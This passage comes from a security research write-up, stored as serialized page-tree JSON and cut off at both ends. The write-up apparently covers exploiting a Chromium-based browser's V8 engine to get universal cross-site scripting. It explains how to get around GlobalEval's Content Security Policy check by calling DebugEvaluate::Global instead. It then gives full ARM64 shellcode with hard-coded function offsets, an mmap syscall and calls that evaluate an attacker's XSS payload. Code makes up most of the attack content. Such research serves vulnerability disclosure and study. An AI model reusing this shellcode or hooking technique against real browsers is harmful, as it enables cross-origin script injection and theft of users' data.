knows\n",{"type":23,"tag":75,"props":150863,"children":150864},{"class":77,"line":3524},[150865],{"type":23,"tag":75,"props":150866,"children":150867},{},[150868],{"type":29,"value":150869},"// where to return\n",{"type":23,"tag":75,"props":150871,"children":150872},{"class":77,"line":4890},[150873],{"type":23,"tag":75,"props":150874,"children":150875},{},[150876],{"type":29,"value":150877},"mov x4, lr\n",{"type":23,"tag":75,"props":150879,"children":150880},{"class":77,"line":4937},[150881],{"type":23,"tag":75,"props":150882,"children":150883},{"emptyLinePlaceholder":15},[150884],{"type":29,"value":276},{"type":23,"tag":75,"props":150886,"children":150887},{"class":77,"line":4950},[150888],{"type":23,"tag":75,"props":150889,"children":150890},{},[150891],{"type":29,"value":150892},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":75,"props":150894,"children":150895},{"class":77,"line":4958},[150896],{"type":23,"tag":75,"props":150897,"children":150898},{},[150899],{"type":29,"value":150900},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":75,"props":150902,"children":150903},{"class":77,"line":4967},[150904],{"type":23,"tag":75,"props":150905,"children":150906},{"emptyLinePlaceholder":15},[150907],{"type":29,"value":276},{"type":23,"tag":75,"props":150909,"children":150910},{"class":77,"line":4975},[150911],{"type":23,"tag":75,"props":150912,"children":150913},{},[150914],{"type":29,"value":150915},"ret x4\n",{"type":23,"tag":32,"props":150917,"children":150918},{},[150919,150921,150926,150928,150933,150935,150941],{"type":29,"value":150920},"At this point, we have successfully hooked ",{"type":23,"tag":71,"props":150922,"children":150924},{"className":150923},[],[150925],{"type":29,"value":149803},{"type":29,"value":150927}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":71,"props":150929,"children":150931},{"className":150930},[],[150932],{"type":29,"value":150319},{"type":29,"value":150934}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":71,"props":150936,"children":150938},{"className":150937},[],[150939],{"type":29,"value":150940},"Builtins_GlobalEval",{"type":29,"value":557},{"type":23,"tag":32,"props":150943,"children":150944},{},[150945,150950,150952,150957,150959,150964],{"type":23,"tag":71,"props":150946,"children":150948},{"className":150947},[],[150949],{"type":29,"value":150940},{"type":29,"value":150951}," takes a single ",{"type":23,"tag":71,"props":150953,"children":150955},{"className":150954},[],[150956],{"type":29,"value":59118},{"type":29,"value":150958}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":71,"props":150960,"children":150962},{"className":150961},[],[150963],{"type":29,"value":48739},{"type":29,"value":1018},{"type":23,"tag":64,"props":150966,"children":150968},{"code":150967,"language":40308,"meta":7,"className":40306,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[150969],{"type":23,"tag":71,"props":150970,"children":150971},{"__ignoreMap":7},[150972,150985,150992,150999,151042,151064,151090],{"type":23,"tag":75,"props":150973,"children":150974},{"class":77,"line":78},[150975,150980],{"type":23,"tag":75,"props":150976,"children":150977},{"style":88},[150978],{"type":29,"value":150979},"BUILTIN",{"type":23,"tag":75,"props":150981,"children":150982},{"style":94},[150983],{"type":29,"value":150984},"(GlobalEval) {\n",{"type":23,"tag":75,"props":150986,"children":150987},{"class":77,"line":100},[150988],{"type":23,"tag":75,"props":150989,"children":150990},{"style":94},[150991],{"type":29,"value":137488},{"type":23,"tag":75,"props":150993,"children":150994},{"class":77,"line":121},[150995],{"type":23,"tag":75,"props":150996,"children":150997},{"emptyLinePlaceholder":15},[150998],{"type":29,"value":276},{"type":23,"tag":75,"props":151000,"children":151001},{"class":77,"line":138},[151002,151007,151012,151016,151021,151025,151029,151033,151038],{"type":23,"tag":75,"props":151003,"children":151004},{"style":94},[151005],{"type":29,"value":151006},"  if (!Builtins::",{"type":23,"tag":75,"props":151008,"children":151009},{"style":104},[151010],{"type":29,"value":151011},"AllowDynamicFunction",{"type":23,"tag":75,"props":151013,"children":151014},{"style":94},[151015],{"type":29,"value":643},{"type":23,"tag":75,"props":151017,"children":151018},{"style":104},[151019],{"type":29,"value":151020},"isolate",{"type":23,"tag":75,"props":151022,"children":151023},{"style":94},[151024],{"type":29,"value":611},{"type":23,"tag":75,"props":151026,"children":151027},{"style":104},[151028],{"type":29,"value":125413},{"type":23,"tag":75,"props":151030,"children":151031},{"style":94},[151032],{"type":29,"value":611},{"type":23,"tag":75,"props":151034,"children":151035},{"style":104},[151036],{"type":29,"value":151037},"target_global_proxy",{"type":23,"tag":75,"props":151039,"children":151040},{"style":94},[151041],{"type":29,"value":46388},{"type":23,"tag":75,"props":151043,"children":151044},{"class":77,"line":161},[151045,151050,151054,151059],{"type":23,"tag":75,"props":151046,"children":151047},{"style":110},[151048],{"type":29,"value":151049},"    isolate",{"type":23,"tag":75,"props":151051,"children":151052},{"style":94},[151053],{"type":29,"value":1156},{"type":23,"tag":75,"props":151055,"children":151056},{"style":88},[151057],{"type":29,"value":151058},"CountUsage",{"type":23,"tag":75,"props":151060,"children":151061},{"style":94},[151062],{"type":29,"value":151063},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":75,"props":151065,"children":151066},{"class":77,"line":196},[151067,151071,151076,151081,151086],{"type":23,"tag":75,"props":151068,"children":151069},{"style":175},[151070],{"type":29,"value":355},{"type":23,"tag":75,"props":151072,"children":151073},{"style":88},[151074],{"type":29,"value":151075}," ReadOnlyRoots",{"type":23,"tag":75,"props":151077,"children":151078},{"style":94},[151079],{"type":29,"value":151080},"(isolate).",{"type":23,"tag":75,"props":151082,"children":151083},{"style":88},[151084],{"type":29,"value":151085},"undefined_value",{"type":23,"tag":75,"props":151087,"children":151088},{"style":94},[151089],{"type":29,"value":14944},{"type":23,"tag":75,"props":151091,"children":151092},{"class":77,"line":220},[151093],{"type":23,"tag":75,"props":151094,"children":151095},{"style":94},[151096],{"type":29,"value":17141},{"type":23,"tag":32,"props":151098,"children":151099},{},[151100,151102,151107],{"type":29,"value":151101},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":71,"props":151103,"children":151105},{"className":151104},[],[151106],{"type":29,"value":26807},{"type":29,"value":151108}," block.",{"type":23,"tag":32,"props":151110,"children":151111},{},[151112],{"type":29,"value":151113},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":64,"props":151115,"children":151117},{"code":151116,"language":40308,"meta":7,"className":40306,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[151118],{"type":23,"tag":71,"props":151119,"children":151120},{"__ignoreMap":7},[151121,151132,151139,151146,151153,151161,151173,151181,151198,151228,151236,151248],{"type":23,"tag":75,"props":151122,"children":151123},{"class":77,"line":78},[151124,151128],{"type":23,"tag":75,"props":151125,"children":151126},{"style":88},[151127],{"type":29,"value":150979},{"type":23,"tag":75,"props":151129,"children":151130},{"style":94},[151131],{"type":29,"value":150984},{"type":23,"tag":75,"props":151133,"children":151134},{"class":77,"line":100},[151135],{"type":23,"tag":75,"props":151136,"children":151137},{"emptyLinePlaceholder":15},[151138],{"type":29,"value":276},{"type":23,"tag":75,"props":151140,"children":151141},{"class":77,"line":121},[151142],{"type":23,"tag":75,"props":151143,"children":151144},{"style":94},[151145],{"type":29,"value":137488},{"type":23,"tag":75,"props":151147,"children":151148},{"class":77,"line":138},[151149],{"type":23,"tag":75,"props":151150,"children":151151},{"emptyLinePlaceholder":15},[151152],{"type":29,"value":276},{"type":23,"tag":75,"props":151154,"children":151155},{"class":77,"line":161},[151156],{"type":23,"tag":75,"props":151157,"children":151158},{"style":94},[151159],{"type":29,"value":151160},"  DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":75,"props":151162,"children":151163},{"class":77,"line":196},[151164,151169],{"type":23,"tag":75,"props":151165,"children":151166},{"style":88},[151167],{"type":29,"value":151168},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":75,"props":151170,"children":151171},{"style":94},[151172],{"type":29,"value":97},{"type":23,"tag":75,"props":151174,"children":151175},{"class":77,"line":220},[151176],{"type":23,"tag":75,"props":151177,"children":151178},{"style":94},[151179],{"type":29,"value":151180},"      isolate, function,\n",{"type":23,"tag":75,"props":151182,"children":151183},{"class":77,"line":248},[151184,151189,151194],{"type":23,"tag":75,"props":151185,"children":151186},{"style":94},[151187],{"type":29,"value":151188},"      Compiler::",{"type":23,"tag":75,"props":151190,"children":151191},{"style":88},[151192],{"type":29,"value":151193},"GetFunctionFromValidatedString",{"type":23,"tag":75,"props":151195,"children":151196},{"style":94},[151197],{"type":29,"value":97},{"type":23,"tag":75,"props":151199,"children":151200},{"class":77,"line":270},[151201,151206,151210,151214,151218,151223],{"type":23,"tag":75,"props":151202,"children":151203},{"style":88},[151204],{"type":29,"value":151205},"          direct_handle",{"type":23,"tag":75,"props":151207,"children":151208},{"style":94},[151209],{"type":29,"value":643},{"type":23,"tag":75,"props":151211,"children":151212},{"style":110},[151213],{"type":29,"value":125413},{"type":23,"tag":75,"props":151215,"children":151216},{"style":94},[151217],{"type":29,"value":1156},{"type":23,"tag":75,"props":151219,"children":151220},{"style":88},[151221],{"type":29,"value":151222},"native_context",{"type":23,"tag":75,"props":151224,"children":151225},{"style":94},[151226],{"type":29,"value":151227},"(), isolate), source,\n",{"type":23,"tag":75,"props":151229,"children":151230},{"class":77,"line":279},[151231],{"type":23,"tag":75,"props":151232,"children":151233},{"style":94},[151234],{"type":29,"value":151235},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":75,"props":151237,"children":151238},{"class":77,"line":303},[151239,151244],{"type":23,"tag":75,"props":151240,"children":151241},{"style":88},[151242],{"type":29,"value":151243},"  RETURN_RESULT_OR_FAILURE",{"type":23,"tag":75,"props":151245,"children":151246},{"style":94},[151247],{"type":29,"value":97},{"type":23,"tag":75,"props":151249,"children":151250},{"class":77,"line":322},[151251,151256,151261],{"type":23,"tag":75,"props":151252,"children":151253},{"style":94},[151254],{"type":29,"value":151255},"      isolate, Execution::",{"type":23,"tag":75,"props":151257,"children":151258},{"style":88},[151259],{"type":29,"value":151260},"Call",{"type":23,"tag":75,"props":151262,"children":151263},{"style":94},[151264],{"type":29,"value":151265},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":32,"props":151267,"children":151268},{},[151269,151271,151276,151278,151284,151286,151292,151294,151300],{"type":29,"value":151270},"But determining the correct ",{"type":23,"tag":71,"props":151272,"children":151274},{"className":151273},[],[151275],{"type":29,"value":125413},{"type":29,"value":151277}," value, obtaining ",{"type":23,"tag":71,"props":151279,"children":151281},{"className":151280},[],[151282],{"type":29,"value":151283},"target->native_context()",{"type":29,"value":151285},", and locating the ",{"type":23,"tag":71,"props":151287,"children":151289},{"className":151288},[],[151290],{"type":29,"value":151291},"direct_handle",{"type":29,"value":151293}," function, just to make a proper call to ",{"type":23,"tag":71,"props":151295,"children":151297},{"className":151296},[],[151298],{"type":29,"value":151299},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":151301},", seemed unnecessarily cumbersome.",{"type":23,"tag":32,"props":151303,"children":151304},{},[151305,151307,151313],{"type":29,"value":151306},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":71,"props":151308,"children":151310},{"className":151309},[],[151311],{"type":29,"value":151312},"DebugEvaluate::Global",{"type":29,"value":151314},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":32,"props":151316,"children":151317},{},[151318],{"type":29,"value":151319},"For our needs, it is straightforward to call:",{"type":23,"tag":64,"props":151321,"children":151323},{"code":151322,"language":40308,"meta":7,"className":40306,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[151324],{"type":23,"tag":71,"props":151325,"children":151326},{"__ignoreMap":7},[151327,151375,151404,151425],{"type":23,"tag":75,"props":151328,"children":151329},{"class":77,"line":78},[151330,151335,151339,151343,151348,151353,151357,151362,151366,151371],{"type":23,"tag":75,"props":151331,"children":151332},{"style":104},[151333],{"type":29,"value":151334},"MaybeDirectHandle",{"type":23,"tag":75,"props":151336,"children":151337},{"style":94},[151338],{"type":29,"value":295},{"type":23,"tag":75,"props":151340,"children":151341},{"style":104},[151342],{"type":29,"value":60038},{"type":23,"tag":75,"props":151344,"children":151345},{"style":94},[151346],{"type":29,"value":151347},"> DebugEvaluate::",{"type":23,"tag":75,"props":151349,"children":151350},{"style":88},[151351],{"type":29,"value":151352},"Global",{"type":23,"tag":75,"props":151354,"children":151355},{"style":94},[151356],{"type":29,"value":643},{"type":23,"tag":75,"props":151358,"children":151359},{"style":104},[151360],{"type":29,"value":151361},"Isolate",{"type":23,"tag":75,"props":151363,"children":151364},{"style":82},[151365],{"type":29,"value":601},{"type":23,"tag":75,"props":151367,"children":151368},{"style":110},[151369],{"type":29,"value":151370}," isolate",{"type":23,"tag":75,"props":151372,"children":151373},{"style":94},[151374],{"type":29,"value":118},{"type":23,"tag":75,"props":151376,"children":151377},{"class":77,"line":100},[151378,151383,151387,151391,151395,151400],{"type":23,"tag":75,"props":151379,"children":151380},{"style":104},[151381],{"type":29,"value":151382},"                                                Handle",{"type":23,"tag":75,"props":151384,"children":151385},{"style":94},[151386],{"type":29,"value":295},{"type":23,"tag":75,"props":151388,"children":151389},{"style":104},[151390],{"type":29,"value":59118},{"type":23,"tag":75,"props":151392,"children":151393},{"style":94},[151394],{"type":29,"value":17091},{"type":23,"tag":75,"props":151396,"children":151397},{"style":110},[151398],{"type":29,"value":151399},"source",{"type":23,"tag":75,"props":151401,"children":151402},{"style":94},[151403],{"type":29,"value":118},{"type":23,"tag":75,"props":151405,"children":151406},{"class":77,"line":121},[151407,151412,151417,151421],{"type":23,"tag":75,"props":151408,"children":151409},{"style":94},[151410],{"type":29,"value":151411},"                                                debug::",{"type":23,"tag":75,"props":151413,"children":151414},{"style":104},[151415],{"type":29,"value":151416},"EvaluateGlobalMode",{"type":23,"tag":75,"props":151418,"children":151419},{"style":110},[151420],{"type":29,"value":116609},{"type":23,"tag":75,"props":151422,"children":151423},{"style":94},[151424],{"type":29,"value":118},{"type":23,"tag":75,"props":151426,"children":151427},{"class":77,"line":138},[151428,151433,151438],{"type":23,"tag":75,"props":151429,"children":151430},{"style":104},[151431],{"type":29,"value":151432},"                                                REPLMode",{"type":23,"tag":75,"props":151434,"children":151435},{"style":110},[151436],{"type":29,"value":151437}," repl_mode",{"type":23,"tag":75,"props":151439,"children":151440},{"style":94},[151441],{"type":29,"value":15099},{"type":23,"tag":32,"props":151443,"children":151444},{},[151445,151447,151452,151454,151459,151461,151466,151468,151474,151475,151481],{"type":29,"value":151446},"We must supply the ",{"type":23,"tag":71,"props":151448,"children":151450},{"className":151449},[],[151451],{"type":29,"value":151020},{"type":29,"value":151453}," pointer, a ",{"type":23,"tag":71,"props":151455,"children":151457},{"className":151456},[],[151458],{"type":29,"value":59118},{"type":29,"value":151460}," object containing our XSS payload as ",{"type":23,"tag":71,"props":151462,"children":151464},{"className":151463},[],[151465],{"type":29,"value":151399},{"type":29,"value":151467},", and the ",{"type":23,"tag":71,"props":151469,"children":151471},{"className":151470},[],[151472],{"type":29,"value":151473},"mode",{"type":29,"value":2721},{"type":23,"tag":71,"props":151476,"children":151478},{"className":151477},[],[151479],{"type":29,"value":151480},"repl_mode",{"type":29,"value":151482}," values, which are simple enum literals.",{"type":23,"tag":32,"props":151484,"children":151485},{},[151486,151488,151493,151495,151501,151503,151508,151510,151515,151517,151523,151525,151531,151533,151538,151540,151545,151547,151552,151554,151559],{"type":29,"value":151487},"To obtain the ",{"type":23,"tag":71,"props":151489,"children":151491},{"className":151490},[],[151492],{"type":29,"value":151020},{"type":29,"value":151494}," pointer within our shellcode, we call ",{"type":23,"tag":71,"props":151496,"children":151498},{"className":151497},[],[151499],{"type":29,"value":151500},"Isolate::TryGetCurrent()",{"type":29,"value":151502},", which returns the current ",{"type":23,"tag":71,"props":151504,"children":151506},{"className":151505},[],[151507],{"type":29,"value":151020},{"type":29,"value":151509},". To construct a valid ",{"type":23,"tag":71,"props":151511,"children":151513},{"className":151512},[],[151514],{"type":29,"value":59118},{"type":29,"value":151516}," object holding our payload, we call ",{"type":23,"tag":71,"props":151518,"children":151520},{"className":151519},[],[151521],{"type":29,"value":151522},"v8::String::NewFromUTF8",{"type":29,"value":151524},". This ",{"type":23,"tag":71,"props":151526,"children":151528},{"className":151527},[],[151529],{"type":29,"value":151530},"NewFromUTF8",{"type":29,"value":151532}," function takes four arguments: the ",{"type":23,"tag":71,"props":151534,"children":151536},{"className":151535},[],[151537],{"type":29,"value":151020},{"type":29,"value":151539},", the string bytes as ",{"type":23,"tag":71,"props":151541,"children":151543},{"className":151542},[],[151544],{"type":29,"value":14976},{"type":29,"value":151546},", an enum literal specifying the string type, and ",{"type":23,"tag":71,"props":151548,"children":151550},{"className":151549},[],[151551],{"type":29,"value":19762},{"type":29,"value":151553},", which is the size of the ",{"type":23,"tag":71,"props":151555,"children":151557},{"className":151556},[],[151558],{"type":29,"value":14976},{"type":29,"value":28387},{"type":23,"tag":32,"props":151561,"children":151562},{},[151563],{"type":29,"value":151564},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":64,"props":151566,"children":151568},{"code":151567,"language":149856,"meta":7,"className":149857,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[151569],{"type":23,"tag":71,"props":151570,"children":151571},{"__ignoreMap":7},[151572,151580,151588,151596,151604,151612,151620,151628,151636,151644,151652,151660,151668,151675,151683,151691,151699,151707,151714,151722,151729,151737,151745,151752,151759,151766,151773,151780,151787,151795,151803,151810,151818,151826,151833,151841,151849,151856,151863,151871,151879,151887,151894,151902,151910,151918,151926,151934,151942,151950,151958,151966,151974,151982,151989,151997,152005,152012,152020,152028,152036,152044,152051,152059,152066,152073,152081,152089,152097,152105,152114,152123,152131],{"type":23,"tag":75,"props":151573,"children":151574},{"class":77,"line":78},[151575],{"type":23,"tag":75,"props":151576,"children":151577},{},[151578],{"type":29,"value":151579},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":75,"props":151581,"children":151582},{"class":77,"line":100},[151583],{"type":23,"tag":75,"props":151584,"children":151585},{},[151586],{"type":29,"value":151587},"movz x1, #0xf7a0\n",{"type":23,"tag":75,"props":151589,"children":151590},{"class":77,"line":121},[151591],{"type":23,"tag":75,"props":151592,"children":151593},{},[151594],{"type":29,"value":151595},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":75,"props":151597,"children":151598},{"class":77,"line":138},[151599],{"type":23,"tag":75,"props":151600,"children":151601},{},[151602],{"type":29,"value":151603},"add x9, x12, x1\n",{"type":23,"tag":75,"props":151605,"children":151606},{"class":77,"line":161},[151607],{"type":23,"tag":75,"props":151608,"children":151609},{},[151610],{"type":29,"value":151611},"movz x1, #0x5ac8\n",{"type":23,"tag":75,"props":151613,"children":151614},{"class":77,"line":196},[151615],{"type":23,"tag":75,"props":151616,"children":151617},{},[151618],{"type":29,"value":151619},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":75,"props":151621,"children":151622},{"class":77,"line":220},[151623],{"type":23,"tag":75,"props":151624,"children":151625},{},[151626],{"type":29,"value":151627},"add x0, x12, x1\n",{"type":23,"tag":75,"props":151629,"children":151630},{"class":77,"line":248},[151631],{"type":23,"tag":75,"props":151632,"children":151633},{},[151634],{"type":29,"value":151635},"blr x9\n",{"type":23,"tag":75,"props":151637,"children":151638},{"class":77,"line":270},[151639],{"type":23,"tag":75,"props":151640,"children":151641},{},[151642],{"type":29,"value":151643},"// *x0 is isolate pointer\n",{"type":23,"tag":75,"props":151645,"children":151646},{"class":77,"line":279},[151647],{"type":23,"tag":75,"props":151648,"children":151649},{},[151650],{"type":29,"value":151651},"// store isolate ptr to stack\n",{"type":23,"tag":75,"props":151653,"children":151654},{"class":77,"line":303},[151655],{"type":23,"tag":75,"props":151656,"children":151657},{},[151658],{"type":29,"value":151659},"ldr x13, [x0]\n",{"type":23,"tag":75,"props":151661,"children":151662},{"class":77,"line":322},[151663],{"type":23,"tag":75,"props":151664,"children":151665},{},[151666],{"type":29,"value":151667},"str x13, [sp, #-16]!\n",{"type":23,"tag":75,"props":151669,"children":151670},{"class":77,"line":340},[151671],{"type":23,"tag":75,"props":151672,"children":151673},{"emptyLinePlaceholder":15},[151674],{"type":29,"value":276},{"type":23,"tag":75,"props":151676,"children":151677},{"class":77,"line":349},[151678],{"type":23,"tag":75,"props":151679,"children":151680},{},[151681],{"type":29,"value":151682},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":75,"props":151684,"children":151685},{"class":77,"line":363},[151686],{"type":23,"tag":75,"props":151687,"children":151688},{},[151689],{"type":29,"value":151690},"movz x1, #0x1140\n",{"type":23,"tag":75,"props":151692,"children":151693},{"class":77,"line":656},[151694],{"type":23,"tag":75,"props":151695,"children":151696},{},[151697],{"type":29,"value":151698},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":75,"props":151700,"children":151701},{"class":77,"line":705},[151702],{"type":23,"tag":75,"props":151703,"children":151704},{},[151705],{"type":29,"value":151706},"sub x10, x12, x1\n",{"type":23,"tag":75,"props":151708,"children":151709},{"class":77,"line":787},[151710],{"type":23,"tag":75,"props":151711,"children":151712},{"emptyLinePlaceholder":15},[151713],{"type":29,"value":276},{"type":23,"tag":75,"props":151715,"children":151716},{"class":77,"line":826},[151717],{"type":23,"tag":75,"props":151718,"children":151719},{},[151720],{"type":29,"value":151721},"// mmap a RW page for our xss payload\n",{"type":23,"tag":75,"props":151723,"children":151724},{"class":77,"line":834},[151725],{"type":23,"tag":75,"props":151726,"children":151727},{},[151728],{"type":29,"value":150072},{"type":23,"tag":75,"props":151730,"children":151731},{"class":77,"line":881},[151732],{"type":23,"tag":75,"props":151733,"children":151734},{},[151735],{"type":29,"value":151736},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":75,"props":151738,"children":151739},{"class":77,"line":3355},[151740],{"type":23,"tag":75,"props":151741,"children":151742},{},[151743],{"type":29,"value":151744},"mov x2, #3\n",{"type":23,"tag":75,"props":151746,"children":151747},{"class":77,"line":3390},[151748],{"type":23,"tag":75,"props":151749,"children":151750},{},[151751],{"type":29,"value":150095},{"type":23,"tag":75,"props":151753,"children":151754},{"class":77,"line":3423},[151755],{"type":23,"tag":75,"props":151756,"children":151757},{},[151758],{"type":29,"value":150103},{"type":23,"tag":75,"props":151760,"children":151761},{"class":77,"line":3436},[151762],{"type":23,"tag":75,"props":151763,"children":151764},{},[151765],{"type":29,"value":150111},{"type":23,"tag":75,"props":151767,"children":151768},{"class":77,"line":3449},[151769],{"type":23,"tag":75,"props":151770,"children":151771},{},[151772],{"type":29,"value":150119},{"type":23,"tag":75,"props":151774,"children":151775},{"class":77,"line":3457},[151776],{"type":23,"tag":75,"props":151777,"children":151778},{},[151779],{"type":29,"value":150034},{"type":23,"tag":75,"props":151781,"children":151782},{"class":77,"line":3465},[151783],{"type":23,"tag":75,"props":151784,"children":151785},{"emptyLinePlaceholder":15},[151786],{"type":29,"value":276},{"type":23,"tag":75,"props":151788,"children":151789},{"class":77,"line":3473},[151790],{"type":23,"tag":75,"props":151791,"children":151792},{},[151793],{"type":29,"value":151794},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":75,"props":151796,"children":151797},{"class":77,"line":3481},[151798],{"type":23,"tag":75,"props":151799,"children":151800},{},[151801],{"type":29,"value":151802},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":75,"props":151804,"children":151805},{"class":77,"line":3524},[151806],{"type":23,"tag":75,"props":151807,"children":151808},{"emptyLinePlaceholder":15},[151809],{"type":29,"value":276},{"type":23,"tag":75,"props":151811,"children":151812},{"class":77,"line":4890},[151813],{"type":23,"tag":75,"props":151814,"children":151815},{},[151816],{"type":29,"value":151817},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":75,"props":151819,"children":151820},{"class":77,"line":4937},[151821],{"type":23,"tag":75,"props":151822,"children":151823},{},[151824],{"type":29,"value":151825},"mov x11, x0\n",{"type":23,"tag":75,"props":151827,"children":151828},{"class":77,"line":4950},[151829],{"type":23,"tag":75,"props":151830,"children":151831},{"emptyLinePlaceholder":15},[151832],{"type":29,"value":276},{"type":23,"tag":75,"props":151834,"children":151835},{"class":77,"line":4958},[151836],{"type":23,"tag":75,"props":151837,"children":151838},{},[151839],{"type":29,"value":151840},"// pop back isolate pointer\n",{"type":23,"tag":75,"props":151842,"children":151843},{"class":77,"line":4967},[151844],{"type":23,"tag":75,"props":151845,"children":151846},{},[151847],{"type":29,"value":151848},"ldr x13, [sp], #16\n",{"type":23,"tag":75,"props":151850,"children":151851},{"class":77,"line":4975},[151852],{"type":23,"tag":75,"props":151853,"children":151854},{"emptyLinePlaceholder":15},[151855],{"type":29,"value":276},{"type":23,"tag":75,"props":151857,"children":151858},{"class":77,"line":5016},[151859],{"type":23,"tag":75,"props":151860,"children":151861},{},[151862],{"type":29,"value":150155},{"type":23,"tag":75,"props":151864,"children":151865},{"class":77,"line":5025},[151866],{"type":23,"tag":75,"props":151867,"children":151868},{},[151869],{"type":29,"value":151870},"// x13 = isolate *\n",{"type":23,"tag":75,"props":151872,"children":151873},{"class":77,"line":5033},[151874],{"type":23,"tag":75,"props":151875,"children":151876},{},[151877],{"type":29,"value":151878},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":75,"props":151880,"children":151881},{"class":77,"line":5041},[151882],{"type":23,"tag":75,"props":151883,"children":151884},{},[151885],{"type":29,"value":151886},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":75,"props":151888,"children":151889},{"class":77,"line":5050},[151890],{"type":23,"tag":75,"props":151891,"children":151892},{"emptyLinePlaceholder":15},[151893],{"type":29,"value":276},{"type":23,"tag":75,"props":151895,"children":151896},{"class":77,"line":5058},[151897],{"type":23,"tag":75,"props":151898,"children":151899},{},[151900],{"type":29,"value":151901},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":75,"props":151903,"children":151904},{"class":77,"line":5083},[151905],{"type":23,"tag":75,"props":151906,"children":151907},{},[151908],{"type":29,"value":151909},"// arg0 = isolate *\n",{"type":23,"tag":75,"props":151911,"children":151912},{"class":77,"line":5108},[151913],{"type":23,"tag":75,"props":151914,"children":151915},{},[151916],{"type":29,"value":151917},"mov x0, x13\n",{"type":23,"tag":75,"props":151919,"children":151920},{"class":77,"line":5137},[151921],{"type":23,"tag":75,"props":151922,"children":151923},{},[151924],{"type":29,"value":151925},"// arg1 = char *c_str\n",{"type":23,"tag":75,"props":151927,"children":151928},{"class":77,"line":5163},[151929],{"type":23,"tag":75,"props":151930,"children":151931},{},[151932],{"type":29,"value":151933},"mov x1, x11\n",{"type":23,"tag":75,"props":151935,"children":151936},{"class":77,"line":5172},[151937],{"type":23,"tag":75,"props":151938,"children":151939},{},[151940],{"type":29,"value":151941},"// arg2 = type = kNormal\n",{"type":23,"tag":75,"props":151943,"children":151944},{"class":77,"line":5206},[151945],{"type":23,"tag":75,"props":151946,"children":151947},{},[151948],{"type":29,"value":151949},"mov x2, #0\n",{"type":23,"tag":75,"props":151951,"children":151952},{"class":77,"line":5214},[151953],{"type":23,"tag":75,"props":151954,"children":151955},{},[151956],{"type":29,"value":151957},"// arg4 = 